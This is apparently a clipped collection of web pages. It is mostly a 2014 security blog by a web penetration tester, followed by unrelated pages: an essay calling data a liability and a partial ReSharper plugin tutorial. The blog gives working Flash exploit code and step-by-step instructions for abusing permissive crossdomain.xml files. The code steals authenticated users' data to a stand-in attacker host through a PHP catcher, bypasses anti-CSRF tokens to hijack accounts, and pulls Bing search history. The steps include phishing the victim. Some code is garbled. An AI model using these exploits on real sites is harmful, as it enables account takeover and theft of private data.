portion of the incoming HTTP message and writes it to a file in /tmp. You can
get a lot fancier with this, such as creating a separate file per victim, or
by parsing the file within php and only writing the relevant information to
disk, but this was sufficient for the POC that I sent to Microsoft.

Step 7: The attacker can now parse the stolen data. The command just parses
out the search queries from the source code of the stolen page. What is shown
is basically the last 10 or so things I searched for on my Microsoft Surface.

root@kali:/var/www\# cat /tmp/bing.txt | xmllint --format - | grep "sh\_item\_qu\_query"
<img src='img/Temp2_7405.png' />

**This next command does the same thing, but it extracts the URL's that I
visited as a result of my bing searches:**

root@kali:/var/www\# cat /tmp/bing.txt | xmllint --format - | grep "sh\_item\_cl\_url"
<img src='img/Temp2_7413.png' />

This is where I stopped, but the POC can be extended to include the users
entire search history, by using the https://www.bing.com/profile/history/more
page. In the screenshot below, the t parameter is a timestamp that can be
iterated. You can see that by modifying the timestamp, I was able to pull up
things I searched for back in December 2012

<img src='img/Temp2_7411.png' />

The malicious SWF could have easily made multiple requests, walking back the
timestamp each time, essentially downloading everything the victim has ever
searched for on Bing.com.

Here is the ActionScript source \(BingExternal.as\), that once compiled,
becomes BingExternal.SWF:

<img src='img/Temp2_7404.png' />

If you look closely at the very first picture in the POC, you will notice that
victim was viewing https://ssl.bing.com/profile/history. You should also
notice that the exploit SWF requests the sensitive data from
https://www.bing.com/profile/history. This is where I got lucky.

I \*think\* the developers made the following assumption:

  * When a user is authenticated, we send them to ssl.bing.com, and that crossdomain.xml does not exist, so all is good. 
  * When a user is unauthenticated, we send them to www.bing.com. Even though we have a very permissive crossdomain.xml, only unauthenticated users will use this part of the site, so no sensitive information can be stolen via Flash. 

So really, I was only able to really exploit the overly permissive
crossdomain.xml file and gain access to the sensitive information because the
application sent the sensitive history information to authenticated users,
even when they requested the data from www.bing.com/profile/history. If Bing
told authenticated users to use ssl.bing.com/profile/history or get lost, I
would not have had a very exciting demo.  
  
Questions? Concerns? Leave me a note in the comments\! I'll actually have
another crossdomain.xml vuln up pretty shortly, so hang tight.

## Friday, March 28, 2014

###  Exploiting insecure crossdomain policies to bypass anti-CSRF tokens

In my last post, I mentioned that if a site hosts an insecure crossdomain.xml
file, you can exploit that flaw to bypass same origin policy and among other
things, you can read anti-CSRF tokens. Because your Flash object can read the
anti-CSRF token, it can extract the token from the response and use it in
future requests. In fact, this is almost identical to how you can bypass CSRF
tokens with XSS.  
  
I recently came across a popular website that met these criteria, and I
created a POC to send to the security team. The site protected itself against
CSRF using anti-CSRF tokens, but they had a wide open crossdomain.xml file.
I'll post the details later, but I wanted to drop the template here, in the
event anyone wants to give it a try:

[code]

    // Original POC Author: Gursev Singh Kalra (gursev.kalra@foundstone.com)
    // Modified to bypass antiCSRF tokens: Seth Art (sethsec@gmail.com)
    BypassCSRFchangeEmailAddress
    
    package 
     import flash.display.Sprite
     import flash.events.
     import flash.net.URLRequestMethod
     import flash.net.URLRequest
     import flash.net.URLLoader
    
     public class BypassCSRFchangeEmailAddress extends Sprite 
      public function BypassCSRFchangeEmailAddress
       // Target URL from where the data is to be retrieved
        readFrom:String  "https://www.secret-site.com/account/edit"
        readRequest:URLRequest   URLRequestreadFrom
        getLoader:URLLoader   URLLoader
       getLoaderaddEventListenerEventCOMPLETE eventHandler
        
        getLoaderreadRequest
        catch errorError 
        trace"Error loading URL: "  error
       
      
    
    
      private function eventHandlereventEvent 
       // This assigns the reponse from the first 
[/code]

[code]

    // request to "reponse". The antiCSRF token is// somwhere in this reponse response:String eventtarget _// This line looks for the line in the_ _response_
[/code]

[code]

    _//that contains the CSRF token_ CSRF:Array responsematchCSRFToken.*/);// This line extracts the value of the CSRF token, 
[/code]

[code]

       // and assigns it to "token" token:Stringsplit)[2];// These next two lines create the prefix and the 
[/code]

[code]

       // suffix for the POST request prefix:String"CSRFToken=" suffix:String"&first_name=CSRF&last_name=CSRF&email=sethsec%40gmail.com"// This section sets up a new URLRequest object and
[/code]

[code]

       // sets the method to post    sendTo:String"https://www.secret-site.com/account/edit/" sendRequest:URLRequestURLRequestsendTo
       sendRequestmethod URLRequestMethod// This next line sets the data portion of the POST 
[/code]

[code]

                            // request to the "prefix" + "token" + "suffix"
       sendRequest prefixconcattokensuffix// Time to create the URLLoader object and send the 
[/code]

[code]

       // POST request containing the CSRF token sendLoader:URLLoaderURLLoader
        sendLoadersendRequestcatcherrorErrortrace"Error loading URL: " error
[/code]

When the victim loads the the compiled Flash object, Flash object does 3
things:  
  
1\) The SWF sends a request from the victim's browser to a page that returns
the CSRF token  
2\) The SWF grabs the CSRF token from the returned page  
3\) The SWF sends a second request, using the stolen CSRF token, that changes
the email address on the account to the attackers email address  
  
At that point the attacker just needs to fill out the forget password feature
using their own email address, and they will be able to hijack the account.

## Friday, March 14, 2014

###  Exploiting misconfigured crossdomain.xml files

An overly permissive crossdomain.xml file on a domain that serves sensitive
content is a major security risk. It exposes the domain hosting the improperly
configured crossomain.xml file to information disclosure and request forgery.
Attackers cannot only forge requests, they can read responses. This means the
attacker can retrieve any information the authenticated user has access to,
including account information, documents and files, and anti-CSRF tokens if
they are used.

<img src='img/Temp2_7409.png' />

##  History

This is an old vulnerability. How old? 8 years old. Here is very rough outline
of prior research/public discussion:

**2006:**Chris Shiflett, Julien Couvreur, and Jeremiah Grossman started
talking about this publicly.  
**2008:** Jeremiah Grossman revisited the issue.  
**2010:** Erlend Ofedel wrote about it, and Mike Bailey gave talk at Blackhat
DC.  
**2011:** Teams from FORTH-ICS, SAP Research, and UC San Diego all released
research directly related to crossdomain.xml and the security risks that
result from misconfiguration.  
  
While there have been people in the know about this vulnerability since 2006,
and some really great research published in 2011, this vulnerability has never
really gained much traction.  
  
Here are some Google search results, as of March 2014:Search Term| Result  
---|---  
“crossdomain.xml exploit”| 34 unique hits  
“crossdomain.xml attack”| 26 unique hits  
“crossdomain.xml vulnerability”| 18 unique hits  
Six months ago, I ran across my first extremely permissive crossdomain.xml
file, but I was left with two questions:

  * How do I determine if there is really any risk to this particular web application? 
  * If there is risk, how can I demonstrate this with a working exploit? 

The answer to the first question can be found in the articles and papers that
I liked to above. The answer to the second question, however, was not very
accessible until recently.  
In August 2013, Gursev Kalra released an excellent blog post and uploaded his
sample ActionScript exploit code to GitHub.Thanks to Gursev, I finally had the
information I needed to be able to put all the pieces together and exploit
this vulnerability.

##  The Vulnerability

As a general rule, if the following three conditions are met, there is
problem:

  1. A crossdomain.xml file is hosted at the root of the host, for example: www.secret-site.com/crossdomain.xml.
  2. The crossdomain.xml is overly permissive.
  3. There is either sensitive information on www.secret-site.com or there are sensitive actions that can be performed on www.secret-site.com.

If \#1 and \#2 are met, but www.secret-site.com does not contain any sensitive
information, or does not include the ability to perform any sensitive actions,
there is no risk to having a wide open crossdomain.xml file. There is no point
in making a victim make a request to a page for you if the information is all
public and you can see everything anyway.  
  
However, if there are sensitive actions that can be performed or information
that can be stolen, and www.secret-site.com has an overly permissive
crossdomain.xml file, the application at www.secret-site.com is essentially
opening the door to any malicious SWF loaded from anywhere on the web. For
example, a SWF loaded from www.malicious-site.com is now able to
override/bypass Same Origin Policy and gain access to everything that the
authorized user of www.secret-site.com has access to. To say this in a
different way, the overly permissive crossdomain.xml file allows Flash to do
things that even JavaScript is not allowed to do, mainly accessing cross
domain resources.

_Note: The most permissive configuration option is the following line:**<
allow-access-from domain="\*">**. That is not the only overly permissive
setting. Check out the reference papers listed above to find more._  
  
_Note:__API sites that require a pre-shared key are_ _an exception to the
conditions listed above. In this case, even when all three conditions are met,
if www.secret-site.com requires an API key or something similar to access the
content, there is no risk. The attacker has no way of knowing the pre-shared
secret API key, and therefore they can not forge a request with all of the
required information to exploit the permissive crossdomain.xml._  
_Note: In my examples, I use as the hostname \(.secret-site.com\). The
security implications of the crossdomain.xml are specific to the fully
qualified domain name, including hostname and/or subdomain if they are
present. For example, if the https://.secret-site.com/crossdomain.xml
contains_**< allow-access-from domain="\*">**_, but all of the sensitive
transactions happen on_ https://secure.secret-site.com _, there is no risk. Of
course,_ if https://secure.secret-site.com/crossdomain.xml _exists and it also
has an overly permissive policy, then we are back in business._

##  Exploitation

And now the fun part. For the demo, I’m using Kali Linux. If you want to take
advantage of the vulnerability described above, you need to modify and compile
a SWF and host it on a web server. The steps below show you how to do that,
from start to finish.  
  
1\) Install Adobe Flex:

[code]

     apt-get install openjdk-6-jdk
     mkdir /opt/flex 
      /opt/flex/ 
     wget http://download.macromedia.com/pub/flex/sdk/flex_sdk_4.6.zip
     unzip flex_sdk_4.6.zip 
     chmod -R a+rx /opt/flex/
      'export PATH=/opt/flex/bin:$PATH' >> ~/.bashrc
     chmod 755 bin/mxmlc
    
[/code]

2\) Download Gursev’s exploit code \(the .as and the .html files\) from GitHub
or copy/paste from his blog. In either case, you want to save the HTML into
the web root \(/var/www/crossdomain/xdx.html\), and the AS file in a working
folder outside of your web root \(~/crossdomain/XDomainXploit.as\)

[code]

     mkdir /var/www/crossdomain
     mkdir ~/crossdomain
      ~
     git clone https://github.com/gursev/flash-xdomain-xploit.git
     cp flash-xdomain-xploit/xdx.html /var/www/crossdomain/
     cp flash-xdomain-xploit/XDomainXploit.as ~/crossdomain/
     vi ~/crossdomain/XDomainXploit.as
    
[/code]

If for some reason you don't have the git client or the git command in the
previous box doesn't work, you can use wget:

[code]

      /var/www/crossdomain
     wget https://raw.github.com/gursev/flash-xdomain-xploit/master/xdx.html  
      ~/crossdomain
     wget https://raw.github.com/gursev/flash-xdomain-xploit/master/XDomainXploit.as
     vi ~/crossdomain/XDomainXploit.as
    
[/code]

3\) Modify the ActionScript file to fit your needs. To make a basic GET
request, Gursev's comments are self explanatory. You just replace the victim
URL and the attacker URL. My changes are highlighted in yellow.

[code]

    // POC Author: Gursev Singh Kalra (gursev.kalra@foundstone.com)// XDomainXploit.aspackageimport flash.display.Spriteimport flash.events.import flash.net.URLRequestMethodimport flash.net.URLRequestimport flash.net.URLLoaderpublicclass XDomainXploit extendsSpritepublicfunction XDomainXploit() {
       // Target URL from where the data is to be retrieved readFromStringhttp://www.secret-site.com/account/info readRequestURLRequestURLRequest(readFrom);
        getLoaderURLLoaderURLLoader();
       getLoader.addEventListener(Event.COMPLETE eventHandler);
        {
        getLoader.load(readRequest);
       } catch (errorErrortrace"Error loading URL: " error);
       }
      }
    
      privatefunction eventHandler(eventEventvoid {
       // URL to which retrieved data is to be sent sendToStringhttp://malicious-site.com/catcher.php sendRequestURLRequestURLRequest(sendTo);
       sendRequest.method URLRequestMethod.POST
       sendRequest.data  event.target.data sendLoaderURLLoaderURLLoader {
        sendLoader.load(sendRequest);
       } catch (errorErrortrace"Error loading URL: " error);
       }
      }
     }
    }
    
[/code]

If you want to have the SWF make a POST request, of if you need to set a HTTP
header, you can use my example below:

[code]

    // POC Author: Gursev Singh Kalra (gursev.kalra@foundstone.com)// POC Modified to send POSTs and append HTTP headers: Seth Art// XDomainXploit.aspackageimport flash.display.Spriteimport flash.events.import flash.net.URLRequestMethodimport flash.net.URLRequestimport flash.net.URLLoaderimport flash.net.URLRequestHeaderpublicclass XDomainXploit3 extendsSpritepublicfunction XDomainXploit3() {
       // Target URL from where the data is to be retrieved readFromStringhttps://www.secret-site.com/admin/add headerURLRequestHeader   URLRequestHeader("Content-Type" "text/plain; charset=UTF-8"); readRequestURLRequestURLRequest(readFrom);
       readRequest.method  URLRequestMethod.POST
       readRequest.data  "{\"name\":\"CSRF-Admin\",\"Group\":\"admin\",\"password\":\"password\",\"confirmPassword\":\"password\"}"
       readRequest.requestHeaders.push(header); getLoaderURLLoaderURLLoader();
       getLoader.addEventListener(Event.COMPLETE eventHandler);
        {
        getLoader.load(readRequest);
       } catch (errorErrortrace"Error loading URL: " error);
       }
      }
    
      privatefunction eventHandler(eventEventvoid {
       // URL to which retrieved data is to be sent sendToStringhttp://www.malicious-site.com/crossdomain/catcher.php sendRequestURLRequestURLRequest(sendTo);
       sendRequest.method URLRequestMethod.POST
       sendRequest.data  event.target.data sendLoaderURLLoaderURLLoader {
        sendLoader.load(sendRequest);
       } catch (errorErrortrace"Error loading URL: " error);
       }
      }
     }
    }
    
[/code]

4\) Compile the ActionScript with xmmlc:

[code]

     /opt/flex/bin/mxmlc ~/crossdomain/XDomainXploit.as
[/code]

5\) Move the compiled SWF somewhere inside your web root

[code]

    mv ~/crossdomain/XDomainXploit.swf /var/www/crossdomain
    
[/code]

6\) Create and save the catcher file. This php file takes the entire data
portion of the incoming HTTP message and writes it to a file in /tmp. You can
get a lot fancier with this, such as creating a separate file per victim, or
by parsing the file within php and only writing the relevant information to
disk.

[code]

    vi /var/www/catcher.php
    
    <?php
    
    $data = file_get_contents("php://input");
    $ret = file_put_contents('/tmp/thanks_for_sharing.txt', $data, FILE_APPEND | LOCK_EX);
    if($ret === false) {
     die('Error writing to file');
    }
    else { 
     echo "$ret bytes written to file";
    }
    ?>
    
[/code]

7\) Install PHP if it is not already installed:

[code]

     apt-get install php5
    
[/code]

8\) Set your web server to support SSL.  
  
_\*This step is optional, but if your flash object is communicating with a
HTTPS site, and the secure= "false" attribute is not set, your flash object
needs to have been loaded from a HTTPS site. _  
  
The two lines below show you how to make a self-signed cert. For a more
realistic POC, you would want to purchase a valid SSL certificate so your
victim user does not get any SSL errors.

[code]

     make-ssl-cert generate-default-snakeoil --force-overwrite
[/code]

[code]

     a2enmod ssl
[/code]

[code]

     a2ensite default-ssl
    
[/code]

9\) Start \[or restart\] your web server

[code]

     /etc/init.d/apache2 restart
[/code]

10\) Phish your victim to your site, www.malicious-
site.com/crossdomain/xdx.html  
  
11\) Hope the victim is currently logged in to the www.secret-site.com  
  
12\) Collect and analyze your stolen data:

[code]

     cat /tmp/thanks_for_sharing.txt
[/code]

##  Stay tuned

In the near future I will be able to share two real world examples that I came
across in the past month. Both issues were responsibly disclosed to the
respective vendors, and the fixes are on their way. One example involves a
popular public website, and the other involves an embedded web application
that is used to control networked devices. I submitted POCs to the vendors
that show what this attack looks like from the perspective of the victim, and
I'll post the POCs here when I can.

## Tuesday, January 28, 2014

###  Configuring a bridged promisc interface in Security Onion

A few months ago I configured an all in one \(server and sensor\) Security
Onion VM on my ESXi box. It took a while, but I finally found a good box that
I could use for a physical sensor. I bought this Barracuda ethernet TAP back
around 2007-9, and while it worked great, after I moved to my house, it has
literally been collecting dust in my basement for years. Lucky for me, it
still works\!  
  
This is a non aggregating TAP, which means I have two "output" cables coming
from the TAP to my IDS. On the physical server, I installed Security Onion as
a sensor only, and the TAP interfaces ended up being eth0 and eth2 \(eth1 is
the mgmt. interface\).  
  
I quickly realized that I only knew how to bond two interfaces together on
CentOS/RedHat. It took a few hours of googling and trial and error, but I
finally got eth0 and eth2 bonded/bridged together.  
  
Aside from the Security Onion install, and configuring the interfaces \(as
shows below\), the only other thing I needed to do was to install the _bridge-
utils_ package. Until I did that, even though my interfaces file was
configured properly, the br0 interface would not come up.  
  
I don't want to lose the config that ended up working, so here is the final
config for Ubuntu/Xubuntu:

|

[/code]

[code]

seth@sensor-dell:~$ uname -aLinux sensor-dell 3.2.0-58-generic \#88-Ubuntu SMP Tue Dec 3 17:37:58 UTC 2013 x86\_64 x86\_64 x86\_64 GNU/Linuxseth@sensor-dell:~$ history | grep bridge-utils 67 sudo apt-get install bridge-utilsseth@sensor-dell:~$ cat /etc/network/interfaces\# This configuration was created by the Security Onion setup script. The original network\# interface configuration file was backed up to /etc/networking/interfaces.bak.\# This file describes the network interfaces available on your system\# and how to activate them. For more information, see interfaces\(5\).\# loopback network interfaceauto loiface lo inet loopback\# Management network interfaceauto eth1iface eth1 inet static address 192.168.0.202 gateway 192.168.0.1 netmask 255.255.255.0 dns-nameservers 8.8.8.8 8.8.4.4auto eth0iface eth0 inet manual up ip link set eth0 promisc on arp off up down ip link set eth0 promisc off down post-up ethtool -G eth0 rx ; for i in rx tx sg tso ufo gso gro lro; do ethtool -K eth0 $i off; done post-up echo 1 > /proc/sys/net/ipv6/conf/eth0/disable\_ipv6auto eth2iface eth2 inet manual up ip link set eth2 promisc on arp off up down ip link set eth2 promisc off down post-up ethtool -G eth2 rx ; for i in rx tx sg tso ufo gso gro lro; do ethtool -K eth2 $i off; done post-up echo 1 > /proc/sys/net/ipv6/conf/eth2/disable\_ipv6auto br0iface br0 inet manual bridge\_ports eth0 eth2 up ip link set br0 promisc on arp off up down ip link set br0 promisc off down post-up ethtool -G br0 rx ; for i in rx tx sg tso ufo gso gro lro; do ethtool -K br0 $i off; done post-up echo 1 > /proc/sys/net/ipv6/conf/br0/disable\_ipv6  
---|---  
## Tuesday, January 14, 2014

###  Writing and Debugging BurpSuite Extensions in Python

When I first started with Burp extensions over a year ago, I used the hiccup
framework to develop my plugins. Hiccup had a way of monitoring my custom
"plugin" for changes each time it performed an action. As a result, it
appeared that any changes I made to a plugin took effect in Burp instantly.  
  
Well, when Burp Extender API 1.5 came out, while it greatly improved what
could be done with Burp extensions, it also broke projects like Hiccup. Not
wanting to be dependent on another non PortSwigger API, I decided to spend
whatever time I needed to learn how to interface with the Burp API directly.  
  
As I began, one frustrating thing I realized was that I had to reload my
extension each time I made even the smallest change. This process takes some
time, and because I am using Jython, it sucks some memory each time the
extension is reloaded. I finally gave in and asked on the Burp Suite forum if
anyone had a better way of writing and/or debugging Burp Extensions in Python.  
  
It turns out someone did. elespike figured out that if you move your new
functionality to a second file, you could import it once, and then reload it
as frequently as you like. His guidance is in the thread listed above, but I
thought it would be helpful to blog my entire solution. Also, after he pointed
me in the direction of the reload, I went back to look at hiccup, and that is
in fact what what chair6 was doing to make hiccup reload the plugin.  
  
And it is **WAY BETTER.** It saves a ton of time.  
  
So, with that intro, I wanted to document what I did.  
  
**_Step 1_**  
  
In Burp >> Extensions >> Options, I set my "_Folder for loading modules
\(optional\)_ " to c:\python\lib  
  
** _Step 2_**  
  
I then created my Burp Extension file. Where I would normally include all of
my extension logic in this file, I instead moved all of my custom functions to
another file \(shown in step 3\):

|

[/code]

[code]

import IBurpExtender import IContextMenuFactory import IExtensionHelpers
javax.swing import JMenuItem java.awt.event import ActionListener
java.awt.event import ActionEvent java.awt.event import KeyEventimport
traceback\# Burp is configured to look for python modules in c:\python27\lib.
\# If the following file exists in that directory, it will be loadedimport
UniqueParamValuesclass BurpExtenderIBurpExtender IContextMenuFactory
ActionListener \_\_init\_\_ menuItem JMenuItem'Print Unique Parameter Values'
menuItemaddActionListener  actionPerformed actionEvent print  \# Here is the
reload. You can place this anywhere you wantm but you will  \# most likely
want to place this within an action \(request recieved, menu \# item clicked,
scanner started, etc\).  reloadUniqueParamValues \# This try statement, and
the traceback included in the except, are what \# allowed me to finally get
the trace information I needed to debug my  \# issues. I highly recommned
including these when developing Burp  \# Extensions
UniqueParamValuesgetUniqueParams except tracebackformat\_exc print  \#
implement IBurpExtender registerExtenderCallbacks callbacks \# keep a
reference to our callbacks object \(Burp Extensibility Feature\) \_callbacks
callbacks  \_helpers callbacksgetHelpers \# set our extension name
callbackssetExtensionName"Unique Parameter Values"
callbacksregisterContextMenuFactory return createMenuItems ctxMenuInvocation
ctxMenuInvocation ctxMenuInvocation return menuItem  
---|---  
**_Step 3_**  
And finally, I created a file that would contain the customized functions
needed in my extension \(UniqueParamValues.py\), and dropped that file in
c:\python\lib directory.

|

[/code]

[code]

getUniqueParams \# Initialize list parameter\_array  parameter\_string\_array
messages ctxMenuInvocationgetSelectedMessages \# This for loop iterates
through all of the selected messages pulling out  \# everything Burp considers
a parameter \(even cookies\), and putting all of  \# the parameters in an
array messages  request\_byte\_arraygetRequest requestInfo
\_helpersanalyzeRequestrequest\_byte\_array parameters
requestInfogetParameters parameter\_array parameter\_array parameters \# This
for loop iterates through each paramter and creates a string with the  \#
paramname=paramvalue, so that they can be compared and sorted later.
parameter\_array param\_string getName getValue \#print "Param String:",
param\_string parameter\_string\_arrayappendparam\_string \# After the for
loop is finished, then uniquify and sort the parameters -- The main purpose of
the extension unique\_parameters sorteduniqifyparameter\_string\_array print
"\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*"
print "\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* Unique Paramters
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*" print
"\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*"
print print "Number of Parameters:" parameter\_string\_array print "Number of
Unique Parameters :" unique\_parameters print  param\_dict  unique\_param
unique\_parameters \#print "Param: %s" % \(unique\_param\)\) param\_name
unique\_paramsplit param\_value unique\_paramsplit \#This if statement creates
a dictionary, but unlike a normal dictionary, the value of each key is a list.
\#This is so that I can use the append function.  \#The key is the parameter
name \#The value is a list of all of unique the seen parameter values
param\_name param\_dict param\_dictparam\_name
param\_dictparam\_nameappendparam\_value value param\_dictiteritems print
"\----" print  print "\----" value print print\n\n\n\n  uniqify
parameter\_string\_array \# not order preserving \_\_setitem\_\_
parameter\_string\_array  return  
---|---  
As you can see in the snippet above, this file does not require any additional
imports. You just define the definitions, receive the arguments, process, and
then optionally return the result to the caller. This extension is far from
complete, and is the first python I have written in a year, so please don't
judge me :\).  
  
Regardless, I wanted to put it up here as an example on how to quickly develop
and debug a Burp Extension with Python.  
  
If you are curious, at this point, the extension spits out a table in stdout
that looks like this:  
  
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*  
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* Unique Paramters
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*  
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*  
  
Number of Parameters: 40  
Number of Unique Parameters: 12  
\--------------  
| csrf\_token |  
\--------------  
null  
\------------  
| board\_id |  
\------------  
2  
\----------  
| \_\_utmb |  
\----------  
194279098.1.10.1389713652  
\----------  
| \_\_utmc |  
\----------  
194279098  
\----------  
| \_\_utmz |  
\----------  
194279098.1389713652.1.1.utmcsr  
\----------  
| \_\_utma |  
\----------  
194279098.364032451.1389713652.1389713652.1389713652.1  
\--------  
| page |  
\--------  
2  
3  
4  
5  
6  
  
My goal is to eventually create a window in Burp that will contain this
information, as well as counts for each parameter value.

## Monday, January 13, 2014

###  Re-launch - A focus on Web Application Pen Testing, Burp Extensions, etc

It has been quite a while since my last blog post here. Not that I have ever
really blogged much, but in 2010, I officially switched from a world filled
with enterprise firewalls and intrusion detection systems, to one filled with
Web Applications \(and other types of applications\).  
  
On one hand, for someone who likes to learn, Web Application Penenetration
Testing is perfect: There are so many languages, frameworks, best practices,
and common mistakes to understand, that as a tester, you will never run out of
things to learn. Of course, that also means that you will never come close to
being able to learning it all. Left unmanaged, this can be a source of
frustration and despair.  
  
The main point of this blog re-launch, is that it has been far too long since
I have written any code. I'd like to document the mistakes I make, and the
lessons I am bound to learn, as I jump back into things.  
  
I mainly test applications from a Windows OS, so those thousands of hours of
BASH scripting experience from my past are just sitting in my brain as
memories. I was just starting to become functional in Python also, when I
essentially abandoned that as well. I have found a few things to automate over
the last few years, but to be honest, most times I think of something related
to application testing that I can automate in Python, I realize that
Portswigger's Burp Suite already does that. I can't tell you how many times
this has happened.  
  
Of course, the problem with relying on a tool to do something for you is that
if you need it to do something slightly differently, you are stuck. This is
where the Burp Extension API comes into play.  
  
Recently, I have done a number of assessments on custom applications \(Mostly
thick clients written in Java, C\#, etc\), that use web services to
communicate with the server. While these applications use HTTP\(s\), and can
be intercepted with Burp, their implementations are unique and it becomes
difficult to analyze the requests with the default Burp functionality.  
  
This is of course, the perfect opportunity for me to extend Burp Suite to make
it do things that only I need it to do, while at the same time, an opportunity
for me to dust off my scripting/programming skills.  
  
The next few posts at least, will contain Burp Extension related info. They
will hopefully show me improving from noob to moderatly functional. We'll
see...

# Richie | Data is not an asset, it’s a liability
**Created:**| _9/11/2015 9:43:27 AM_  
---|---  
**Updated:**| _9/11/2015 9:43:27 AM_  
**Author:**| __  
**Tags:**| _opinion data science_  
  

# Data is not an asset, it’s a liability

iOS 9: What every publisher should know

If you work in software development, sooner or later you learn that _code is a
liability_ — all things being equal, the less code you have, the better off
you are.

This is because code slows you down. Code equals complexity, and complexity
makes it hard to change things and move forward. Code also has bugs, and bugs
will make you spend time chasing after them. Code makes it harder to scale up,
because it makes onboarding new developers more difficult while simultaneously
hurting the productivity of even the most senior members of your team. The
list of downsides goes on and on and on.

This, of course, is the in-the-trenches view. Ask top management, and they are
very likely to view code in the opposite way. It’s a valuable asset for which
the company has paid dearly in developer salaries and consultant fees.

The same dichotomy is beginning to emerge in our attitude towards data. The
big data megatrend has taught companies in general and publishers in
particular that user data is hugely valuable. And unlike code, data seems
almost free: user activity generates an essentially endless amount of it. You
just need to write it down on a disk somewhere.

On the proverbial business end of a big data operation, different viewpoints
appear. As with code, more data makes things more difficult. When the amount
of data gets truly big, so do the problems in managing it all. IDC estimates
that big data companies will sell $125 billion worth of solutions to those
problems in 2015 alone. These direct costs are huge, but they are dwarfed by
inherent risks in storing unbound amounts of private user data.

Regulatory compliance is a factor that big corporations, publishers among
them, may be uniquely suited to tackle, but the business risks of storing data
are manifold. Nobody wants to be the next Ashley Madison, but the even bigger
risk is breaking the trust of users in more mundane ways.

Here’s a hard truth: **regardless of the boilerplate in your privacy policy,
none of your users have given informed consent to being tracked.** Every
tracker and beacon script on your web site increases the privacy cost they pay
for transacting with you, chipping away at the trust in the relationship.

So data is a liability with an ongoing cost. But what are we getting for the
price? The all too typical corporate big data strategy boils down to three
steps:

  1. Write down all the data
  2. Profit

This never makes sense. You can’t expect the value of data to just appear out
of thin air. Data isn’t fissile material. It doesn’t spontaneously reach
critical mass and start producing insights.

The solution we at Richie advocate is simple. You don’t start with the raw
data. You start with the questions you want answered. Then you collect the
data you need \(and just the data you need\) to answer those questions.

Think this way for a while, and you notice a key factor: **old data usually
isn’t very interesting**. You’ll be much more interested in what your users
are doing right now than what they were doing a year ago. Sure, spotting
trends in historical data might be _cool_ , but in all likelihood it isn’t
actionable. Today’s data is.

This is important, because it invalidates the whole premise of storing data
just in case you’ll need it later. You simply won’t, so incurring the cost of
storing and managing and safeguarding it makes no sense at all.

Actionable insight is an asset. Data is a liability. And old data is a non-
performing loan.

_Marko Karppinen is Richie’s founder and CEO. You should follow him on
Twitterhere._

### Enjoyed the article?

Our best content on building apps for newspapers and magazines. Delivered each
week for free.

# Writing a ReSharper Plugin. Problem Analyzers | ELEKS Labs
**Created:**| _5/26/2014 8:51:37 AM_  
---|---  
**Updated:**| _5/26/2014 8:51:37 AM_  
**Author:**| __  
**Tags:**| _plugin programming visualstudio ide_  
  

# Writing a ReSharper Plugin. Problem Analyzers.

26 May 2014 0

## Introduction

My previous article described how various quick fixes are implemented using
ReSharper extensibility API. Both examples provided were based on predefined
ReSharper problem highlights. However, most plugins will definitely need to
define custom highlights. In this article, I will describe in detail what
highlighting is, its role in ReSharper infrastructure, and procedure of
registering custom highlighting. And last but not least, I will explain how to
analyze source code, associate highlighting with source code, and eventually
provide quick fixes for highlights.

## Problem Highlighting

Actually, highlighting is just an implementation of the `IHighlighting`
interface that provides text being displayed in a tooltip. In most cases,
implementation contains everything that is needed for quick fixes to be
executed \(for example, `AccessRightsError` contained **ReferenceExperession**
whose access rights were violated; for more information, see previous
article\).

Before highlighting can be used, it should be registered in ReSharper
infrastructure by using `StaticSeverityHighlightingAttribute`. Based on the
specified **Severity** , highlighting will be displayed in code editor
appropriately. The image below illustrates highlighting registered with the
**Severity.ERROR** type.  
<img src='img/Temp2_9946.png' width='898' height='50' alt='Writing a ReSharper
Plugin2_1' />  
The drawback of static severity is that it cannot be configured by the users
the based on their own needs. It is possible to register highlighting with
`ConfigurableSeverityHighlighting`.

`1`| `[ConfigurableSeverityHighlighting(``"ReflectionAmbigiousMatch"``,
``"CSHARP"``)]`  
---|---  
`2`| `public` `class` `AmbigiousMemberMatchError : ReflectionHighlightingBase,
IHighlighting`  
---|---  
`3`| `{`  
---|---  
`4`| `//implementation goes here`  
---|---  
`5`| `}`  
---|---  
Here, it is important not to forget about registration of configurable
highlighting using assembly-level attribute for the same
**ConfigurableSeverityId**.

`1`| `[assembly: RegisterConfigurableSeverity(``"ReflectionAmbigiousMatch"``,
``null``, ``"CodeInfo"``, ``"Some title"``, ``"Other title"``,
Severity.WARNING, ``false``)]`  
---|---  
`2`| `Highlighting registered ``as` `configurable will contain a menu that
allows specifying severity level based on your needs.`  
---|---  
<img src='img/Temp2_9948.png' alt='Writing a ReSharper Plugin2_2' />

  

<img src='img/Temp2_9947.png' alt='Writing a ReSharper Plugin2_3' />

You may wonder how ReSharper actually knows where to paint the highlighting.
Actual range in the document is specified during highlighting registration and
will be described in the next chapter **Problem Analyzers**. Also, there is a
separate kind of highlighting – `IhighlightingWithRange` that itself can
calculate and provide **DocumentRange**.

Whenever you need to render something completely different for your
highlighting, you may implement `ICustomStyleHighlighting`. For examples, I
recommend using dotPeek to dive into disassembled ReSharper code that is
luckily not obfuscated.

## Problem Analyzers

It is possible to register highlighting for the code issue in ReSharper
infrastructure in several ways:

